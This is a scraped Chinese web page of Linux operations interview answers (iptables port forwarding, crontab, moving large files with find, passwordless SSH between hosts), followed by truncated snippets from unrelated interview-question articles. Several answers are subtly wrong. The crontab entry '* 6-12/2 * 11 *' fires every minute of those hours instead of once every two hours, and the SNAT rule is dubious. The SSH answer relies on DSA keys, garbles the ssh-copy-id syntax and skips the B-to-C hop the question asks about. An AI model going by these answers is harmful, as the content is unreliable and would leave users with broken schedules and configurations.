    27)如何将本地80端口的请求转发到8080端口,当前主机IP为192.168.2.1?
    iptables -t nat -A PREROUTING -d LOCALIP -p tcp -m tcp --dport 80 -j DNAT --to-destination 192.168.2.1:8080
    iptables -t nat -A POSTROUTING -d 192.168.2.1 -p tcp -m tcp --dport 8080 -j SNAT --to-source LOCALIP:80
    28)crontab  在11月份内,每天的早上6点到12点中,每隔2小时执行一次/usr/bin/httpd.sh 怎么实现 ?
    * 6-12/2 * 11 *  bash /usr/bin/httpd.sh
    29)编写个shell脚本将/usr/local/test 目录下大于100K的文件转移到/tmp目录?
    find /usr/local/test -type f -size +100k -exec mv {} /tmp \;
    30)有三台Linux主机,A,B和C,A上有私钥,B和C上都有公钥,如何做到用私钥从A登录到B后,可以直接不输密码即可再登录到C?并写出具体命令行。
    大致思路在A上面ssh-keygen -t dsa 直接回车生成密钥,然后把公钥分别用ssh-copy-id拷贝到B和C上面。ssh-copy-id -i id_dsa.pub "-p端口号 root@B的ip地址",然后在A上面就可以用ssh -p端口号 root@IP不要密码直接登录服务器B和C。

       转载于:http://sfzhang88.blog.51cto.com/4995876/851931

    展开全文
  • 这下面的是一个企业发的面试题 1你常上的相关技术站有哪些 2简述你所理解运维工程师的主要职责 3你管理过的服务器数量级 1台 2台 2-5台 5-10 台 10台以上 4描述一次你印象深刻的服务器运维经历 5有一台服务器出现...
  • *BIOS自检*运行系统内核并检测硬件从硬盘启动并运行系统的第一个进程init(LILO和GRUB模式)*init读取系统引导配置文件/etc/inittab,并根据运行级别配置服务/etc/rc.d/rc.localLinux系统缺省的运行级别0为停机,机器...
  • 1. 在程序中大量使用session会导致什么后果? session需要占据服务器端内存,如果session使用得过多,会导致服务器端负载过重,严重的...安全性上: cookie不是很安全,别人可能通过某种手段获取cookie 性能上: co...
  • 线程怎么保证安全? 红黑树和二分查找复杂度,hash表复杂度,为什么?(O(1),然后说了如果冲突了一般会用拉链法,一个拉链若有N个结点的话,在这个拉链上查找就变成了o(n),然后又问如果是用拉链法的话总体时间...
  • java工程师中兴面试题

    千次阅读 2016-11-24 16:21:56
    Servlet处于服务器进程中,它通过多线程方式运行其service方法,一个实例可以服务于多个请求。所以Servlet是线程不安全的。 有几种方法可以实现Servlet线程安全: 1,实现 SingleThreadModel 接口的servlet是线程...
  • 我们公司数据库呢是一个5.7版本的数据库,然后数据库的存储引擎呢使用的是InnoDB,是因为这样得,InnoDB它具有一个提交、回滚和崩溃恢复能力的安全事务,相比较于MYISAM,效率要差一点,但是呢,在业务当中呢,我们...
  • 博主其他相关文章:《Java高级工程师常见面试题-总结》 1. session和cookie的区别和联系,session的生命周期,多个服务部署时session管理。 cookie 和session 的区别: 1、cookie数据存放在客户的浏览器上,...
  • 1、某公司有五个科室,分别是人事处、财务处、销售科、技术科和售后服务科。 2、公司在外地还设有一个分公司。 3、公司经常有外出的出差人员。 4、公司有自己的数据中心(数据服务器、WEB服务器、防病毒服务器)...
  • 说明:本篇整理的大厂面试题为CSDNAPP中所有安全工程师岗位的题目汇总,还附有本人的几次模拟面试中常见人事问题的见解与思考,可为面试网络安全相关岗位的人提供参考,如有不当之处还请前辈们批评指正,谢谢 ...
  • 2、TCP提供可靠的服务。也就是说,通过TCP连接传送的数据,无差错,不丢失,不重复,且按序到达;UDP尽最大努力交付,即不保证可靠交付 3、TCP面向字节流,实际上是TCP把数据看成一连串无结构的字节流;UDP是面向报文...
  • 硬件(路由器 交换机 防火墙),系统(cpu负荷 ,内存,磁盘,网络,进程,tcp )服务(nginx,php,tomcat,redis,memcache,mysql) web(响应时间,加载时间,渲染时间) 日志(ELK,收集,存储,分析,展示)安全...
  • 答案:IPSec (Internet 协议安全)是一个工业标准网络安全协议,为 IP 网络通信提供透明的安全服务,保护 TCP/IP 通信免遭窃听和篡改,可以有效抵御网络攻击,同时保持易用性.IPSec有两个基本目标:1)保护I
  • 文件:D:\BaiduNetdiskDownload\精品Java资料(面试视频、最新Java高级架构视频,面试电子书)\Java面试集棉\Java工程师面试题整理[社招篇].txt 文件:D:\BaiduNetdiskDownload\精品Java资料(面试视频、最新Java高级...
  • 根据ICT从业者的学习和进阶需求,华为认证分为工程师级别、高级工程师级别和专家级别三个认证等级。 [1] HCIA:Huawei Certified ICT Associate 华为认证ICT工程师 是华为职业认证中用于标识个人能力在某一技术领域...
  • CISP-PTE认证培训发出以后,好多信息安全... PTE兼具厂商认可背书,持PTE证书360企业安全服务部门免技术面试。  CISSP属于国际认证,认证机构是(ISC)2国际信息系统安全认证协会,更适合外企、涉外服务、大型企业等;
  • 根据ICT从业者的学习和进阶需求,华为认证分为工程师级别、高级工程师级别和专家级别三个认证等级。 [1] HCIA:Huawei Certified ICT Associate 华为认证ICT工程师 是华为职业认证中用于标识个人能力在某一技术领域...
  • 根据ICT从业者的学习和进阶需求,华为认证分为工程师级别、高级工程师级别和专家级别三个认证等级。 [1] HCIA:Huawei Certified ICT Associate 华为认证ICT工程师 是华为职业认证中用于标识个人能力在某一技术领域...

空空如也

空空如也

1 2 3
收藏数 48
精华内容 19
关键字:

安全服务工程师面试题